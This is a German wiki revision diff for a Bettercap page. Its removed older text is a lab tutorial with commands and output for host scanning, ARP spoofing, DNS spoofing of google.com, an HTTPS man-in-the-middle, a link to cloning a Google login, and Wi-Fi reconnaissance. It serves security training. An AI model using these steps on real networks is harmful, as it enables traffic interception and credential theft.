Bettercap: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Der Seiteninhalt wurde durch einen anderen Text ersetzt: „*Bettercap Einführung =Anwendungen= *ARP Spoofing mit bettercap *DNS Spoofing mit bettercap“)
Markierung: Ersetzt
 
(10 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=Installation=
+
*[[Bettercap Einführung]]
*'''sudo apt install bettercap'''
+
=Anwendungen=
=Start=
+
*[[ARP Spoofing mit bettercap]]
*'''bettercap -iface eth0'''
+
*[[DNS Spoofing mit bettercap]]
=Handling=
 
*'''help'''
 
<pre>
 
          help MODULE : List available commands or show module specific help if no module name is provided.
 
                active : Show information about active modules.
 
                  quit : Close the session and exit.
 
        sleep SECONDS : Sleep for the given amount of seconds.
 
              get NAME : Get the value of variable NAME, use * alone for all, or NAME* as a wildcard.
 
        set NAME VALUE : Set the VALUE of variable NAME.
 
  read VARIABLE PROMPT : Show a PROMPT to ask the user for input that will be saved inside VARIABLE.
 
                clear : Clear the screen.
 
        include CAPLET : Load and run this caplet in the current session.
 
            ! COMMAND : Execute a shell command and print its output.
 
        alias MAC NAME : Assign an alias to a given endpoint given its MAC address.
 
 
 
Modules
 
 
 
      any.proxy > not running
 
      api.rest > not running
 
      arp.spoof > not running
 
      ble.recon > not running
 
            c2 > not running
 
        caplets > not running
 
    dhcp6.spoof > not running
 
      dns.spoof > not running
 
  events.stream > running
 
            gps > not running
 
            hid > not running
 
    http.proxy > not running
 
    http.server > not running
 
    https.proxy > not running
 
  https.server > not running
 
    mac.changer > not running
 
    mdns.server > not running
 
  mysql.server > not running
 
      ndp.spoof > not running
 
      net.probe > not running
 
      net.recon > not running
 
      net.sniff > not running
 
  packet.proxy > not running
 
      syn.scan > not running
 
      tcp.proxy > not running
 
        ticker > not running
 
            ui > not running
 
        update > not running
 
          wifi > not running
 
            wol > not running
 
</pre>
 
*'''help arp.spoof'''
 
<pre>
 
 
 
arp.spoof (not running): Keep spoofing selected hosts on the network.
 
 
 
  arp.spoof on : Start ARP spoofer.
 
    arp.ban on : Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.
 
  arp.spoof off : Stop ARP spoofer.
 
    arp.ban off : Stop ARP spoofer.
 
 
 
  Parameters
 
 
 
    arp.spoof.fullduplex : If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail). (default=false)
 
      arp.spoof.internal : If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network. (default=false)
 
  arp.spoof.skip_restore : If set to true, targets arp cache won't be restored when spoofing is stopped. (default=false)
 
      arp.spoof.targets : Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges. (default=<entire subnet>)
 
    arp.spoof.whitelist : Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing. (default=)
 
</pre>
 
 
 
=Scannen der Host=
 
*'''net.recon on'''
 
*'''net.probe on'''
 
*'''net.show'''
 
<pre>
 
┌────────────────┬───────────────────┬─────────────────┬───────────────────────────┬───────┬───────┬──────────┐
 
│      IP ▴      │        MAC        │      Name      │          Vendor          │ Sent  │ Recvd │  Seen  │
 
├────────────────┼───────────────────┼─────────────────┼───────────────────────────┼───────┼───────┼──────────┤
 
│ 192.168.10.101 │ 08:00:27:fd:f3:97 │ eth0            │ PCS Computer Systems GmbH │ 0 B  │ 0 B  │ 10:44:33 │
 
│ 192.168.10.1  │ 08:00:27:aa:c6:6a │ gateway        │ PCS Computer Systems GmbH │ 0 B  │ 0 B  │ 10:44:33 │
 
│                │                  │                │                          │      │      │          │
 
│ 192.168.10.102 │ 08:00:27:e2:a7:dd │ DESKTOP-N7FM0AI │ PCS Computer Systems GmbH │ 25 kB │ 319 B │ 10:50:27 │
 
└────────────────┴───────────────────┴─────────────────┴───────────────────────────┴───────┴───────┴──────────┘
 
 
 
↑ 14 kB / ↓ 112 kB / 1292 pkts
 
</pre>
 
=Arpspoofing=
 
*set arp.spoof.targets 192.168.10.1, 192.168.10.102
 
*arp.spoof on
 
==Auf dem Windowsrechner==
 
;Vorher
 
[[Datei:Bettercap01.png]]
 
;Nachher
 
[[Datei:Bettercap02.png]]
 
=DNS Spoofing=
 
*'''set  dns.spoof.address 192.168.10.101'''
 
*'''dns.spoof.domains google.com '''
 
*'''dns.spoof on'''
 
==Auf dem Windowsrechner==
 
[[Datei:Bettercap03.png]]
 
=Webspoofing=
 
*[[Set Google Login Clonen]]
 
=https Mitm Attacke=
 
*'''arp.spoof on'''
 
*'''https.proxy on'''
 
=Wlan Deauthentication=
 
==Voraussetzung==
 
;Schnittstelle muss im Monitormodus sein
 
*'''iwconfig wlan0 mode monitor'''
 
==Starten von bettercap==
 
*bettecap -iface wlan0
 
==Im Bettercap==
 
*wifi.recon on
 
...
 
*wifi.show
 
<pre>
 
┌─────────┬───────────────────┬──────────────────────────────────┬──────────────────┬──────────────────────┬─────┬─────────┬────────┬────────┬──────────┐
 
│ RSSI ▴  │      BSSID      │              SSID              │    Encryption    │        WPS          │ Ch  │ Clients │  Sent  │ Recvd  │  Seen  │
 
├─────────┼───────────────────┼──────────────────────────────────┼──────────────────┼──────────────────────┼─────┼─────────┼────────┼────────┼──────────┤
 
│ -24 dBm │ 78:dd:12:16:21:f6 │ Kackhaeufchen                    │ WPA2 (CCMP, PSK) │ 2.0                  │ 6  │ 2      │ 32 kB  │ 1.6 kB │ 14:45:02 │
 
│ -26 dBm │ 78:8c:b5:2a:5b:b4 │ xinux-training                  │ WPA2 (CCMP, PSK) │ 2.0                  │ 2  │        │        │        │ 14:45:00 │
 
│ -90 dBm │ e2:28:6d:f3:6c:ae │ FRITZ!Box Gastzugang            │ WPA2 (CCMP, PSK) │ 2.0                  │ 52  │        │        │        │ 14:45:02 │
 
│ -91 dBm │ e0:28:6d:f3:6c:ae │ FRITZ!Box 7560 IK                │ WPA2 (CCMP, PSK) │ 2.0                  │ 52  │        │        │        │ 14:45:02 │
 
│ -94 dBm │ 18:82:8c:3e:8a:d5 │ WLAN-24110512                    │ WPA2 (CCMP, PSK) │ 2.0                  │ 36  │        │        │        │ 14:45:02 │
 
│ -95 dBm │ 48:5d:35:68:2c:8c │ FRITZ!Box 7560 IK                │ WPA2 (CCMP, PSK) │ 2.0                  │ 36  │        │        │        │ 14:44:17 │
 
└─────────┴───────────────────┴──────────────────────────────────┴──────────────────┴──────────────────────┴─────┴─────────┴────────┴────────┴──────────┘
 
</pre>
 
 
 
=Links=
 
*https://www.youtube.com/watch?v=xrK6KA9yzQE
 
*
 

Aktuelle Version vom 11. Mai 2026, 15:18 Uhr